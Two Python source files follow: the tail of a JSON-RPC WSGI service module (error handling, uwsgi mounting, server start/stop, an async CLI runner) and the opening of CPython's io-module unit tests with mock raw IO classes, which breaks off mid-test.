'HTTP_ACCESS_CONTROL_REQUEST_HEADERS', 'authorization')), ('content-type', 'application/json'), ('content-length', str(len(response_body)))] start_response(status, response_headers) return [response_body] def process_error(self, error, context, request, trace=None): if trace: self.log(log.ERR, context, trace.split('\n')[0:-1]) if 'id' in request: error['id'] = request['id'] if 'version' in request: error['version'] = request['version'] if 'error' not in error['error'] or error['error']['error'] is None: error['error']['error'] = trace elif 'jsonrpc' in request: error['jsonrpc'] = request['jsonrpc'] error['error']['data'] = trace else: error['version'] = '1.0' error['error']['error'] = trace return json.dumps(error) def now_in_utc(self): # Taken from http://stackoverflow.com/questions/3401428/how-to-get-an-isoformat-datetime-string-including-the-default-timezone dtnow = datetime.datetime.now() dtutcnow = datetime.datetime.utcnow() delta = dtnow - dtutcnow hh,mm = divmod((delta.days * 24*60*60 + delta.seconds + 30) // 60, 60) return "%s%+02d:%02d" % (dtnow.isoformat(), hh, mm) application = Application() # This is the uwsgi application dictionary. On startup uwsgi will look # for this dict and pull its configuration from here. # This simply lists where to "mount" the application in the URL path # # This uwsgi module "magically" appears when running the app within # uwsgi and is not available otherwise, so wrap an exception handler # around it # # To run this server in uwsgi with 4 workers listening on port 9999 use: # uwsgi -M -p 4 --http :9999 --wsgi-file _this_file_ # To run a using the single threaded python BaseHTTP service # listening on port 9999 by default execute this file # try: import uwsgi # Before we do anything with the application, see if the # configs specify patching all std routines to be asynch # *ONLY* use this if you are going to wrap the service in # a wsgi container that has enabled gevent, such as # uwsgi with the --gevent option if config is not None and config.get('gevent_monkeypatch_all', False): print "Monkeypatching std libraries for async" from gevent import monkey monkey.patch_all() uwsgi.applications = { '': application } except ImportError: # Not available outside of wsgi, ignore pass _proc = None def start_server(host='localhost', port=0, newprocess=False): ''' By default, will start the server on localhost on a system assigned port in the main thread. Excecution of the main thread will stay in the server main loop until interrupted. To run the server in a separate process, and thus allow the stop_server method to be called, set newprocess = True. This will also allow returning of the port number.''' global _proc if _proc: raise RuntimeError('server is already running') httpd = make_server(host, port, application) port = httpd.server_address[1] print "Listening on port %s" % port if newprocess: _proc = Process(target=httpd.serve_forever) _proc.daemon = True _proc.start() else: httpd.serve_forever() return port def stop_server(): global _proc _proc.terminate() _proc = None def process_async_cli(input_file_path, output_file_path, token): exit_code = 0 with open(input_file_path) as data_file: req = json.load(data_file) if 'version' not in req: req['version'] = '1.1' if 'id' not in req: req['id'] = str(_random.random())[2:] ctx = MethodContext(application.userlog) if token: user, _, _ = application.auth_client.validate_token(token) ctx['user_id'] = user ctx['authenticated'] = 1 ctx['token'] = token if 'context' in req: ctx['rpc_context'] = req['context'] ctx['CLI'] = 1 ctx['module'], ctx['method'] = req['method'].split('.') prov_action = {'service': ctx['module'], 'method': ctx['method'], 'method_params': req['params']} ctx['provenance'] = [prov_action] resp = None try: resp = application.rpc_service.call_py(ctx, req) except JSONRPCError as jre: trace = jre.trace if hasattr(jre, 'trace') else None resp = {'id': req['id'], 'version': req['version'], 'error': {'code': jre.code, 'name': jre.message, 'message': jre.data, 'error': trace} } except Exception, e: trace = traceback.format_exc() resp = {'id': req['id'], 'version': req['version'], 'error': {'code': 0, 'name': 'Unexpected Server Error', 'message': 'An unexpected server error occurred', 'error': trace} } if 'error' in resp: exit_code = 500 with open(output_file_path, "w") as f: f.write(json.dumps(resp, cls=JSONObjectEncoder)) return exit_code if __name__ == "__main__": requests.packages.urllib3.disable_warnings() if len(sys.argv) >= 3 and len(sys.argv) <= 4 and os.path.isfile(sys.argv[1]): token = None if len(sys.argv) == 4: if os.path.isfile(sys.argv[3]): with open(sys.argv[3]) as token_file: token = token_file.read() else: token = sys.argv[3] sys.exit(process_async_cli(sys.argv[1], sys.argv[2], token)) try: opts, args = getopt(sys.argv[1:], "", ["port=", "host="]) except GetoptError as err: # print help information and exit: print str(err) # will print something like "option -a not recognized" sys.exit(2) port = 9999 host = 'localhost' for o, a in opts: if o == '--port': port = int(a) elif o == '--host': host = a print "Host set to %s" % host else: assert False, "unhandled option" start_server(host=host, port=port) # print "Listening on port %s" % port # httpd = make_server( host, port, application) # # httpd.serve_forever()
test_io.py
"""Unit tests for the io module.""" # Tests of io are scattered over the test suite: # * test_bufio - tests file buffering # * test_memoryio - tests BytesIO and StringIO # * test_fileio - tests FileIO # * test_file - tests the file interface # * test_io - tests everything else in the io module # * test_univnewlines - tests universal newline support # * test_largefile - tests operations on a file greater than 2**32 bytes # (only enabled with -ulargefile) ################################################################################ # ATTENTION TEST WRITERS!!! ################################################################################ # When writing tests for io, it's important to test both the C and Python # implementations. This is usually done by writing a base test that refers to # the type it is testing as an attribute. Then it provides custom subclasses to # test both implementations. This file has lots of examples. ################################################################################ import abc import array import errno import locale import os import pickle import random import signal import sys import sysconfig import threading import time import unittest import warnings import weakref from collections import deque, UserList from itertools import cycle, count from test import support from test.support.script_helper import assert_python_ok, run_python_until_end from test.support import FakePath import codecs import io # C implementation of io import _pyio as pyio # Python implementation of io try: import ctypes except ImportError: def byteslike(*pos, **kw): return array.array("b", bytes(*pos, **kw)) else: def byteslike(*pos, **kw): """Create a bytes-like object having no string or sequence methods""" data = bytes(*pos, **kw) obj = EmptyStruct() ctypes.resize(obj, len(data)) memoryview(obj).cast("B")[:] = data return obj class EmptyStruct(ctypes.Structure): pass _cflags = sysconfig.get_config_var('CFLAGS') or '' _config_args = sysconfig.get_config_var('CONFIG_ARGS') or '' MEMORY_SANITIZER = ( '-fsanitize=memory' in _cflags or '--with-memory-sanitizer' in _config_args ) def _default_chunk_size(): """Get the default TextIOWrapper chunk size""" with open(__file__, "r", encoding="latin-1") as f: return f._CHUNK_SIZE class MockRawIOWithoutRead: """A RawIO implementation without read(), so as to exercise the default RawIO.read() which calls readinto().""" def __init__(self, read_stack=()): self._read_stack = list(read_stack) self._write_stack = [] self._reads = 0 self._extraneous_reads = 0 def write(self, b): self._write_stack.append(bytes(b)) return len(b) def writable(self): return True def fileno(self): return 42 def readable(self): return True def seekable(self): return True def seek(self, pos, whence): return 0 # wrong but we gotta return something def tell(self): return 0 # same comment as above def readinto(self, buf): self._reads += 1 max_len = len(buf) try: data = self._read_stack[0] except IndexError: self._extraneous_reads += 1 return 0 if data is None: del self._read_stack[0] return None n = len(data) if len(data) <= max_len: del self._read_stack[0] buf[:n] = data return n else: buf[:] = data[:max_len] self._read_stack[0] = data[max_len:] return max_len def truncate(self, pos=None): return pos class CMockRawIOWithoutRead(MockRawIOWithoutRead, io.RawIOBase): pass class PyMockRawIOWithoutRead(MockRawIOWithoutRead, pyio.RawIOBase): pass class MockRawIO(MockRawIOWithoutRead): def read(self, n=None): self._reads += 1 try: return self._read_stack.pop(0) except: self._extraneous_reads += 1 return b"" class CMockRawIO(MockRawIO, io.RawIOBase): pass class PyMockRawIO(MockRawIO, pyio.RawIOBase): pass class MisbehavedRawIO(MockRawIO): def write(self, b): return super().write(b) * 2 def read(self, n=None): return super().read(n) * 2 def seek(self, pos, whence): return -123 def tell(self): return -456 def readinto(self, buf): super().readinto(buf) return len(buf) * 5 class CMisbehavedRawIO(MisbehavedRawIO, io.RawIOBase): pass class PyMisbehavedRawIO(MisbehavedRawIO, pyio.RawIOBase): pass class SlowFlushRawIO(MockRawIO): def __init__(self): super().__init__() self.in_flush = threading.Event() def flush(self): self.in_flush.set() time.sleep(0.25) class CSlowFlushRawIO(SlowFlushRawIO, io.RawIOBase): pass class PySlowFlushRawIO(SlowFlushRawIO, pyio.RawIOBase): pass class CloseFailureIO(MockRawIO): closed = 0 def close(self): if not self.closed: self.closed = 1 raise OSError class CCloseFailureIO(CloseFailureIO, io.RawIOBase): pass class PyCloseFailureIO(CloseFailureIO, pyio.RawIOBase): pass class MockFileIO: def __init__(self, data): self.read_history = [] super().__init__(data) def read(self, n=None): res = super().read(n) self.read_history.append(None if res is None else len(res)) return res def readinto(self, b): res = super().readinto(b) self.read_history.append(res) return res class CMockFileIO(MockFileIO, io.BytesIO): pass class PyMockFileIO(MockFileIO, pyio.BytesIO): pass class MockUnseekableIO: def seekable(self): return False def seek(self, *args): raise self.UnsupportedOperation("not seekable") def tell(self, *args): raise self.UnsupportedOperation("not seekable") def truncate(self, *args): raise self.UnsupportedOperation("not seekable") class CMockUnseekableIO(MockUnseekableIO, io.BytesIO): UnsupportedOperation = io.UnsupportedOperation class PyMockUnseekableIO(MockUnseekableIO, pyio.BytesIO): UnsupportedOperation = pyio.UnsupportedOperation class MockNonBlockWriterIO: def __init__(self): self._write_stack = [] self._blocker_char = None def pop_written(self): s = b"".join(self._write_stack) self._write_stack[:] = [] return s def block_on(self, char): """Block when a given char is encountered.""" self._blocker_char = char def readable(self): return True def seekable(self): return True def writable(self): return True def write(self, b): b = bytes(b) n = -1 if self._blocker_char: try: n = b.index(self._blocker_char) except ValueError: pass else: if n > 0: # write data up to the first blocker self._write_stack.append(b[:n]) return n else: # cancel blocker and indicate would block self._blocker_char = None return None self._write_stack.append(b) return len(b) class CMockNonBlockWriterIO(MockNonBlockWriterIO, io.RawIOBase): BlockingIOError = io.BlockingIOError class PyMockNonBlockWriterIO(MockNonBlockWriterIO, pyio.RawIOBase): BlockingIOError = pyio.BlockingIOError class IOTest(unittest.TestCase): def setUp(self): support.unlink(support.TESTFN) def tearDown(self): support.unlink(support.TESTFN) def write_ops(self, f): self.assertEqual(f.write(b"blah."), 5) f.truncate(0) self.assertEqual(f.tell(), 5) f.seek(0) self.assertEqual(f.write(b"blah."), 5) self.assertEqual(f.seek(0), 0) self.assertEqual(f.write(b"Hello."), 6) self.assertEqual(f.tell(), 6) self.assertEqual(f.seek(-1, 1), 5) self.assertEqual(f.tell(), 5) buffer = bytearray(b" world\n\n\n") self.assertEqual(f.write(buffer), 9) buffer[:] = b"*" * 9 # Overwrite our copy of the data self.assertEqual(f.seek(0), 0) self.assertEqual(f.write(b"h"), 1) self.assertEqual(f.seek(-1, 2), 13) self.assertEqual(f.tell(), 13) self.assertEqual(f.truncate(12), 12) self.assertEqual(f.tell(), 13) self.assertRaises(TypeError, f.seek, 0.0) def read_ops(self, f, buffered=False): data = f.read(5) self.assertEqual(data, b"hello") data = byteslike(data) self.assertEqual(f.readinto(data), 5) self.assertEqual(bytes(data), b" worl") data = bytearray(5) self.assertEqual(f.readinto(data), 2) self.assertEqual(len(data), 5) self.assertEqual(data[:2], b"d\n") self.assertEqual(f.seek(0), 0) self.assertEqual(f.read(20), b"hello world\n") self.assertEqual(f.read(1), b"") self.assertEqual(f.readinto(byteslike(b"x")), 0) self.assertEqual(f.seek(-6, 2), 6) self.assertEqual(f.read(5), b"world") self.assertEqual(f.read(0), b"") self.assertEqual(f.readinto(byteslike()), 0) self.assertEqual(f.seek(-6, 1), 5) self.assertEqual(f.read(5), b" worl") self.assertEqual(f.tell(), 10) self.assertRaises(TypeError, f.seek, 0.0) if buffered: f.seek(0) self.assertEqual(f.read(), b"hello world\n") f.seek(6) self.assertEqual(f.read(), b"world\n") self.assertEqual(f.read(), b"") f.seek(0) data = byteslike(5) self.assertEqual(f.readinto1(data), 5) self.assertEqual(bytes(data), b"hello") LARGE = 2**31 def large_file_ops(self, f): assert f.readable() assert f.writable() try: self.assertEqual(f.seek(self.LARGE), self.LARGE) except (OverflowError, ValueError): self.skipTest("no largefile support") self.assertEqual(f.tell(), self.LARGE) self.assertEqual(f.write(b"xxx"), 3) self.assertEqual(f.tell(), self.LARGE + 3) self.assertEqual(f.seek(-1, 1), self.LARGE + 2) self.assertEqual(f.truncate(), self.LARGE + 2) self.assertEqual(f.tell(), self.LARGE + 2) self.assertEqual(f.seek(0, 2), self.LARGE + 2) self.assertEqual(f.truncate(self.LARGE + 1), self.LARGE + 1) self.assertEqual(f.tell(), self.LARGE + 2) self.assertEqual(f.seek(0, 2), self.LARGE + 1) self.assertEqual(f.seek(-1, 2), self.LARGE) self.assertEqual(f.read(2), b"x") def test_invalid_operations(self): # Try writing on a file opened in read mode and vice-versa. exc = self.UnsupportedOperation for mode in ("w", "wb"): with self.open(support.TESTFN, mode) as fp: self.assertRaises(exc, fp.read) self.assertRaises(exc, fp.readline) with self.open(support.TESTFN, "wb", buffering=0) as fp: self.assertRaises(exc, fp.read) self.assertRaises(exc, fp.readline) with self.open(support.TESTFN, "rb", buffering=0) as fp: self.assertRaises(exc, fp.write, b"blah") self.assertRaises(exc, fp.writelines, [b"blah\n"]) with self.open(support.TESTFN, "rb") as fp: self.assertRaises(exc, fp.write, b"blah") self.assertRaises(exc, fp.writelines, [b"blah\n"]) with self.open(support.TESTFN, "r") as fp: self.assertRaises(exc, fp.write, "blah") self.assertRaises(exc, fp.writelines, ["blah\n"]) # Non-zero seeking from current or end pos self.assertRaises(exc, fp.seek, 1, self.SEEK_CUR) self.assertRaises(exc, fp.seek, -1, self.SEEK_END) def test_optional_abilities(self): # Test for OSError when optional APIs are not supported # The purpose of this test is to try fileno(), reading, writing and # seeking operations with various objects that indicate they do not # support these operations. def pipe_reader(): [r, w] = os.pipe() os.close(w) # So that read() is harmless return self.FileIO(r, "r") def pipe_writer(): [r, w] = os.pipe() self.addCleanup(os.close, r) # Guarantee that we can write into the pipe without blocking thread = threading.Thread(target=os.read, args=(r, 100)) thread.start() self.addCleanup(thread.join) return self.FileIO(w, "w") def buffered_reader(): return self.BufferedReader(self.MockUnseekableIO()) def buffered_writer(): return self.BufferedWriter(self.MockUnseekableIO()) def buffered_random(): return self.BufferedRandom(self.BytesIO()) def buffered_rw_pair(): return self.BufferedRWPair(self.MockUnseekableIO(), self.MockUnseekableIO()) def text_reader(): class UnseekableReader(self.MockUnseekableIO): writable = self.BufferedIOBase.writable write = self.BufferedIOBase.write return self.TextIOWrapper(UnseekableReader(), "ascii") def text_writer(): class UnseekableWriter(self.MockUnseekableIO): readable = self.BufferedIOBase.readable read = self.BufferedIOBase.read return self.TextIOWrapper(UnseekableWriter(), "ascii") tests = ( (pipe_reader, "fr"), (pipe_writer, "fw"), (buffered_reader, "r"), (buffered_writer, "w"), (buffered_random, "rws"), (buffered_rw_pair, "rw"), (text_reader, "r"), (text_writer, "w"), (self.BytesIO, "rws"), (self.StringIO, "rws"), ) for [test, abilities] in tests: with self.subTest(test), test() as obj: readable = "r" in abilities self.assertEqual(obj.readable(), readable) writable = "w" in abilities self.assertEqual(obj.writable(), writable) if isinstance(obj, self.TextIOBase): data = "3" elif isinstance(obj, (self.BufferedIOBase, self.RawIOBase)): data = b"3" else: self.fail("Unknown base class") if "f" in abilities: obj.fileno() else: self.assertRaises(OSError, obj.fileno) if readable: obj.read(1) obj.read() else: self.assertRaises(OSError, obj.read, 1) self.assertRaises(OSError, obj.read) if writable: obj.write(data) else: self.assertRaises(OSError, obj.write, data) if sys.platform.startswith("win") and test in ( pipe_reader, pipe_writer): # Pipes seem to appear as seekable on Windows continue seekable = "s" in abilities self.assertEqual(obj.seekable(), seekable) if seekable: obj.tell() obj.seek(0) else: self.assertRaises(OSError, obj.tell) self.assertRaises(OSError, obj.seek, 0) if writable and seekable: obj.truncate() obj.truncate(0) else: self.assertRaises(OSError, obj.truncate) self.assertRaises(OSError, obj.truncate, 0) def test_open_handles_NUL_chars(self): fn_with_NUL = 'foo\0bar' self.assertRaises(ValueError, self.open, fn_with_NUL, 'w') bytes_fn = bytes(fn_with_NUL, 'ascii') with warnings.catch_warnings(): warnings.simplefilter("ignore", DeprecationWarning) self.assertRaises(ValueError, self.open, bytes_fn, 'w') def test_raw_file_io(self): with self.open(support.TESTFN, "wb", buffering=0) as f: self.assertEqual(f.readable(), False) self.assertEqual(f.writable(), True) self.assertEqual(f.seekable(), True) self.write_ops(f) with self.open(support.TESTFN, "rb", buffering=0) as f: self.assertEqual(f.readable(), True) self.assertEqual(f.writable(), False) self.assertEqual(f.seekable(), True) self.read_ops(f) def test_buffered_file_io(self): with self.open(support.TESTFN, "wb") as f: self.assertEqual(f.readable(), False) self.assertEqual(f.writable(), True) self.assertEqual(f.seekable(), True) self.write_ops(f) with self.open(support.TESTFN, "rb") as f: self.assertEqual(f.readable(), True) self.assertEqual(f.writable(), False) self.assertEqual(f.seekable(), True) self.read_ops(f, True) def test_readline(self): with self.open(support.TESTFN, "wb") as f: f.write(b"abc\ndef\nxyzzy\nfoo\x00bar\nanother line") with self.open(support.TESTFN, "rb") as f: self.assertEqual(f.readline(), b"abc\n") self.assertEqual(f.readline(10), b"def\n") self.assertEqual(f.readline(2), b"xy") self.assertEqual(f.readline(4), b"zzy\n") self.assertEqual(f.readline(), b"foo\x00bar\n") self.assertEqual(f.readline(None), b"another line") self.assertRaises(TypeError, f.readline, 5.3) with self.open(support.TESTFN, "r") as f: self.assertRaises(TypeError, f.readline, 5.3) def test_readline_nonsizeable(self): # Issue #30061 # Crash when readline() returns an object without __len__ class R(self.IOBase): def readline(self): return None self.assertRaises((TypeError, StopIteration), next, R()) def test_next_nonsizeable(self): # Issue #30061 # Crash when __next__() returns an object without __len__ class R(self.IOBase): def __next__(self): return None self.assertRaises(TypeError, R().readlines, 1) def test_raw_bytes_io(self): f = self.BytesIO() self.write_ops(f) data = f.getvalue() self.assertEqual(data, b"hello world\n") f = self.BytesIO(data) self.read_ops(f, True) def test_large_file_ops(self): # On Windows and Mac OSX this test consumes large resources; It takes # a long time to build the >2 GiB file and takes >2 GiB of disk space # therefore the resource must be enabled to run this test. if sys.platform[:3] == 'win' or sys.platform == 'darwin': support.requires( 'largefile', 'test requires %s bytes and a long time to run' % self.LARGE) with self.open(support.TESTFN, "w+b", 0) as f: self.large_file_ops(f) with self.open(support.TESTFN, "w+b") as f: self.large_file_ops(f) def test_with_open(self): for bufsize in (0, 1, 100): f = None with self.open(support.TESTFN, "wb", bufsize) as f: f.write(b"xxx") self.assertEqual(f.closed, True) f = None try: with self.open(support.TESTFN, "wb", bufsize) as f: 1/0 except ZeroDivisionError: self.assertEqual(f.closed, True) else: self.fail("1/0 didn't raise an exception") # issue 5008 def test_append_mode_tell(self): with self.open(support.TESTFN, "wb") as f: f.write(b"xxx") with self.open(support.TESTFN, "ab", buffering=0) as f: self.assertEqual(f.tell(), 3) with self.open(support.TESTFN, "ab") as f: self.assertEqual(f.tell(), 3) with self.open(support.TESTFN, "a") as f: self.assertGreater(f.tell(), 0) def test_destructor(self): record = [] class MyFileIO(self.FileIO): def __del__(self): record.append(1) try: f = super().__del__ except AttributeError: pass else: f() def close(self): record.append(2) super().close() def flush(self): record.append(3) super().flush() with support.check_warnings(('', ResourceWarning)): f = MyFileIO(support.TESTFN, "wb") f.write(b"xxx") del f support.gc_collect() self.assertEqual(record, [1, 2, 3]) with self.open(support.TESTFN, "rb") as f: self.assertEqual(f.read(), b"xxx") def _check_base_destructor(self, base): record = [] class MyIO(base): def __init__(self): # This exercises the availability of attributes on object # destruction. # (in the C version, close() is called by the tp_dealloc # function, not by __del__) self.on_del = 1 self.on_close = 2 self.on_flush = 3 def __del__(self): record.append(self.on_del) try: f = super().__del__ except AttributeError: pass else: f() def close(self): record.append(self.on_close) super().close() def flush(self): record.append(self.on_flush) super().flush() f = MyIO() del f support.gc_collect() self.assertEqual(record, [1, 2, 3]) def test_IOBase_destructor(self): self._check_base_destructor(self.IOBase) def test_RawIOBase_destructor(self): self._check_base_destructor(self.RawIOBase) def test_BufferedIOBase_destructor(self): self._check_base_destructor(self.BufferedIOBase) def test_TextIOBase_destructor(self): self._check_base_destructor(self.TextIOBase) def test_close_flushes(self): with self.open(support.TESTFN, "wb") as f: f.write(b"xxx") with self.open(support.TESTFN, "rb") as f: self.assertEqual(f.read(), b"xxx") def test_array_writes(self): a = array.array('i', range(10)) n = len(a.tobytes()) def check(f): with f: self.assertEqual(f.write(a), n) f.writelines((a,)) check(self.BytesIO()) check(self.FileIO(support.TESTFN, "w")) check(self.BufferedWriter(self.MockRawIO())) check(self.BufferedRandom(self.MockRawIO())) check(self.BufferedRWPair(self.MockRawIO(), self.MockRawIO())) def test_closefd(self): self.assertRaises(ValueError, self.open, support.TESTFN, 'w', closefd=False) def test_read_closed(self): with self.open(support.TESTFN, "w") as f: f.write("egg\n") with self.open(support.TESTFN, "r") as f: file = self.open(f.fileno(), "r", closefd=False) self.assertEqual(file.read(), "egg\n") file.seek(0) file.close() self.assertRaises(ValueError, file.read) def test_no_closefd_with_filename(self): # can't use closefd in combination with a file name self.assertRaises(ValueError, self.open, support.TESTFN, "r", closefd=False) def test_closefd_attr(self): with self.open(support.TESTFN, "wb") as f: f.write(b"egg\n") with self.open(support.TESTFN, "r") as f: self.assertEqual(f.buffer.raw.closefd, True) file = self.open(f.fileno(), "r", closefd=False) self.assertEqual(file.buffer.raw.closefd, False) def test_garbage_collection(self): # FileIO objects are collected, and collecting them flushes # all data to disk. with support.check_warnings(('', ResourceWarning)): f = self.FileIO(support.TESTFN, "wb") f.write(b"abcxxx") f.f = f wr = weakref.ref(f) del f support.gc_collect() self.assertIsNone(wr(), wr) with self.open(support.TESTFN, "rb") as f: self.assertEqual(f.read(), b"abcxxx") def test_unbounded_file(self): # Issue #1174606: reading from an unbounded stream such as /dev/zero. zero = "/dev/zero" if not os.path.exists(zero): self.skipTest("{0} does not exist".format(zero)) if sys.maxsize > 0x7FFFFFFF: self.skipTest("test can only run in a 32-bit address space") if support.real_max_memuse < support._2G: self.skipTest("test requires at least 2 GiB of memory") with self.open(zero, "rb", buffering=0) as f: self.assertRaises(OverflowError, f.read) with self.open(zero, "rb") as f: self.assertRaises(OverflowError, f.read) with self.open(zero, "r") as f: self.assertRaises(OverflowError, f.read) def check_flush_error_on_close(self, *args, **kwargs): # Test that the file is closed despite failed flush # and that flush() is called before file closed. f = self.open(*args, **kwargs) closed = [] def bad_flush(): closed[:] = [f.closed] raise OSError() f.flush = bad_flush self.assertRaises(OSError, f.close) # exception not swallowed self.assertTrue(f.closed) self.assertTrue(closed) # flush() called self.assertFalse(closed[0]) # flush() called before file closed f.flush = lambda: None # break reference loop def test_flush_error_on_close(self): # raw file # Issue #5700: io.FileIO calls flush() after file closed self.check_flush_error_on_close(support.TESTFN, 'wb', buffering=0) fd = os.open(support.TESTFN, os.O_WRONLY|os.O_CREAT) self.check_flush_error_on_close(fd, 'wb', buffering=0) fd = os.open(support.TESTFN, os.O_WRONLY|os.O_CREAT) self.check_flush_error_on_close(fd, 'wb', buffering=0, closefd=False) os.close(fd) # buffered io self.check_flush_error_on_close(support.TESTFN, 'wb') fd = os.open(support.TESTFN, os.O_WRONLY|os.O_CREAT) self.check_flush_error_on_close(fd, 'wb') fd = os.open(support.TESTFN, os.O_WRONLY|os.O_CREAT) self.check_flush_error_on_close(fd, 'wb', closefd=False) os.close(fd) # text io self.check_flush_error_on_close(support.TESTFN, 'w') fd = os.open(support.TESTFN, os.O_WRONLY|os.O_CREAT) self.check_flush_error_on_close(fd, 'w') fd = os.open(support.TESTFN, os.O_WRONLY|os.O_CREAT) self.check_flush_error_on_close(fd, 'w', closefd=False) os.close(fd) def test_multi_close(self): f = self.open(support.TESTFN, "wb", buffering=0) f.close() f.close() f.close() self.assertRaises(ValueError, f.flush) def test_RawIOBase_read(self): # Exercise the default limited RawIOBase.read(n) implementation (which # calls readinto() internally). rawio = self.MockRawIOWithoutRead((b"abc", b"d", None, b"efg", None)) self.assertEqual(rawio.read(2), b"ab") self.assertEqual(rawio.read(2), b"c") self.assertEqual(rawio.read(2), b"d") self.assertEqual(rawio.read(2), None) self.assertEqual(rawio.read(2), b"ef") self.assertEqual(rawio.read(2), b"g") self.assertEqual(rawio.read(2), None) self.assertEqual(rawio.read(2), b"") def test_types_have_dict(self): test = ( self.IOBase(), self.RawIOBase(), self.TextIOBase(), self.StringIO(), self.BytesIO() ) for obj in test: self.assertTrue(hasattr(obj, "__dict__")) def test_opener(self): with self.open(support.TESTFN, "w") as f: f.write("egg\n") fd = os.open(support.TESTFN, os.O_RDONLY) def opener(path, flags): return fd with self.open("non-existent", "r", opener=opener) as f: self.assertEqual(f.read(), "egg\n") def test_bad_opener_negative_1(self): # Issue #27066. def badopener(fname, flags): return -1 with self.assertRaises(ValueError) as cm: open('non-existent', 'r', opener=badopener) self.assertEqual(str(cm.exception), 'opener returned -1') def test_bad_opener_other_negative(self): # Issue #27066. def badopener(fname, flags): return -2 with self.assertRaises(ValueError) as cm: open('non-existent', 'r', opener=badopener) self.assertEqual(str(cm.exception), 'opener returned -2') def test_fileio_closefd(self): # Issue #4841 with self.open(__file__, 'rb') as f1, \ self.open(__file__, 'rb') as f2: fileio = self.FileIO(f1.fileno(), closefd=False) # .__init__() must not close f1 fileio.__init__(f2.fileno(), closefd=False) f1.readline() # .close() must not close f2 fileio.close() f2.readline() def test_nonbuffered_textio(self): with support.check_no_resource_warning(self): with self.assertRaises(ValueError): self.open(support.TESTFN, 'w', buffering=0) def test_invalid_newline(self): with support.check_no_resource_warning(self): with self.assertRaises(ValueError): self.open(support.TESTFN, 'w', newline='invalid') def test_buffered_readinto_mixin(self): # Test the implementation provided by BufferedIOBase class Stream(self.BufferedIOBase): def read(self, size): return b"12345" read1 = read stream = Stream() for method in ("readinto", "readinto1"): with self.subTest(method): buffer = byteslike(5) self.assertEqual(getattr(stream, method)(buffer), 5) self.assertEqual(bytes(buffer), b"12345") def test_fspath_support(self): def check_path_succeeds(path): with self.open(path, "w") as f: f.write("egg\n") with self.open(path, "r") as f: self.assertEqual(f.read(), "egg\n") check_path_succeeds(FakePath(support.TESTFN)) check_path_succeeds(FakePath(support.TESTFN.encode('utf-8'))) with self.open(support.TESTFN, "w") as f: bad_path = FakePath(f.fileno()) with self.assertRaises(TypeError): self.open(bad_path, 'w') bad_path = FakePath(None) with self.assertRaises(TypeError): self.open(bad_path, 'w') bad_path = FakePath(FloatingPointError) with self.assertRaises(FloatingPointError): self.open(bad_path, 'w') # ensure that refcounting is correct with some error conditions with self.assertRaisesRegex(ValueError, 'read/write/append mode'): self.open(FakePath(support.TESTFN), 'rwxa') def test_RawIOBase_readall(self): # Exercise the default unlimited RawIOBase.read() and readall() # implementations. rawio = self.MockRawIOWithoutRead((b"abc", b"d", b"efg")) self.assertEqual(rawio.read(), b"abcdefg") rawio = self.MockRawIOWithoutRead((b"abc", b"d", b"efg")) self.assertEqual(rawio.readall(), b"abcdefg") def test_BufferedIOBase_readinto(self): # Exercise the default BufferedIOBase.readinto() and readinto1() # implementations (which call read() or read1() internally). class Reader(self.BufferedIOBase): def __init__(self, avail): self.avail = avail def read(self, size): result = self.avail[:size] self.avail = self.avail[size:] return result def read1(self, size): """Returns no more than 5 bytes at once""" return self.read(min(size, 5)) tests = ( # (test method, total data available, read buffer size, expected # read size) ("readinto", 10, 5, 5), ("readinto", 10, 6, 6), # More than read1() can return ("readinto", 5, 6, 5), # Buffer larger than total available ("readinto", 6, 7, 6), ("readinto", 10, 0, 0), # Empty buffer ("readinto1", 10, 5, 5), # Result limited to single read1() call ("readinto1", 10, 6, 5), # Buffer larger than read1() can return ("readinto1", 5, 6, 5), # Buffer larger than total available ("readinto1", 6, 7, 5), ("readinto1", 10, 0, 0), # Empty buffer ) UNUSED_BYTE = 0x81 for test in tests: with self.subTest(test): method, avail, request, result = test reader = Reader(bytes(range(avail))) buffer = bytearray((UNUSED_BYTE,) * request) method = getattr(reader, method) self.assertEqual(method(buffer), result) self.assertEqual(len(buffer), request) self.assertSequenceEqual(buffer[:result], range(result)) unused = (UNUSED_BYTE,) * (request - result) self.assertSequenceEqual(buffer[result:], unused) self.assertEqual(len(reader.avail), avail - result) def test_close_assert(self): class R(self.IOBase): def __setattr__(self, name, value): pass def flush(self): raise OSError() f = R() # This would cause an assertion failure. self.assertRaises(OSError, f.close) class CIOTest(IOTest): def test_IOBase_finalize(self): # Issue #12149: segmentation fault on _PyIOBase_finalize when both a # class which inherits IOBase and an object of this class are caught # in a reference cycle and close() is already in the method cache. class MyIO(self.IOBase): def close(self): pass # create an instance to populate the method cache MyIO() obj = MyIO() obj.obj = obj wr = weakref.ref(obj) del MyIO del obj support.gc_collect() self.assertIsNone(wr(), wr) class PyIOTest(IOTest): pass @support.cpython_only class APIMismatchTest(unittest.TestCase): def test_RawIOBase_io_in_pyio_match(self): """Test that pyio RawIOBase class has all c RawIOBase methods""" mismatch = support.detect_api_mismatch(pyio.RawIOBase, io.RawIOBase, ignore=('__weakref__',)) self.assertEqual(mismatch, set(), msg='Python RawIOBase does not have all C RawIOBase methods') def test_RawIOBase_pyio_in_io_match(self): """Test that c RawIOBase class has all pyio RawIOBase methods""" mismatch = support.detect_api_mismatch(io.RawIOBase, pyio.RawIOBase) self.assertEqual(mismatch, set(), msg='C RawIOBase does not have all Python RawIOBase methods') class CommonBufferedTests: # Tests common to BufferedReader, BufferedWriter and BufferedRandom def test_detach(self): raw = self.MockRawIO() buf = self.tp(raw) self.assertIs(buf.detach(), raw) self.assertRaises(ValueError, buf.detach) repr(buf) # Should still work def test_fileno(self): rawio = self.MockRawIO() bufio = self.tp(rawio) self.assertEqual(42, bufio.fileno()) def test_invalid_args(self): rawio = self.MockRawIO() bufio = self.tp(rawio) # Invalid whence self.assertRaises(ValueError, bufio.seek, 0, -1) self.assertRaises(ValueError, bufio.seek, 0, 9) def test_override_destructor(self): tp = self.tp record = [] class MyBufferedIO(tp): def __del__(self): record.append(1) try: f = super().__del__ except AttributeError: pass else: f() def close(self): record.append(2) super().close() def flush(self): record.append(3) super().flush() rawio = self.MockRawIO() bufio = MyBufferedIO(rawio) del bufio support.gc_collect() self.assertEqual(record, [1, 2, 3]) def test_context_manager(self): # Test usability as a context manager rawio = self.MockRawIO() bufio = self.tp(rawio) def _with(): with bufio: pass _with() # bufio should now be closed, and using it a second time should raise # a ValueError. self.assertRaises(ValueError, _with) def test_error_through_destructor(self): # Test that the exception state is not modified by a destructor, # even if close() fails. rawio = self.CloseFailureIO() def f(): self.tp(rawio).xyzzy with 